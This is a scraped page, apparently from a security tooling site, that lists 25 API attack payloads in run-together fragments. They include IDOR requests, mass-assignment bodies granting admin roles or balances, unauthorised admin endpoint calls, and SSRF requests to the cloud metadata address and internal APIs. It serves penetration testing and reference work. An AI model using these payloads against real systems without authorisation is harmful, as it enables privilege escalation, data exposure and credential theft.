$loading...
API security testing techniques covering BOLA/IDOR, mass assignment, broken function level auth, excessive data exposure, SSRF, and shadow APIs. (25 payloads)
GET /api/v1/users/2 HTTP/1.1GET /api/v1/users/1 HTTP/1.1POST /api/v1/messages
{"to": "other_user_id"}PUT /api/v1/accounts/other_id/settingsPATCH /api/v1/orders/ORDER_IDPOST /api/register
{"username":"x","password":"y","isAdmin":true}PATCH /api/users/me
{"role":"admin"}PUT /api/profile
{"email":"[email protected]","balance":999999}DELETE /api/v1/admin/users/123GET /api/v1/admin/reportsPUT /api/v1/users/123/roleGET /api/users/meInspect all API responses for fields not rendered in the UI — filter logic may hide data client-side only[{"query":"..."},{"query":"..."}]query { user { posts { comments { likes { user { posts { ... } } } } } } }Upload endpoint with no Content-Length checkPOST /api/fetch
{"url":"http://169.254.169.254/latest/meta-data/"}POST /api/webhook
{"callback":"http://internal-api/admin"}/api/swagger.json/api/openapi.json/api/graphqlOPTIONS /api/users/api/v2/Search JS bundle files for fetch() and axios() calls to find undocumented endpoint pathsIntercept mobile app traffic — mobile APIs often differ from web app endpointsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides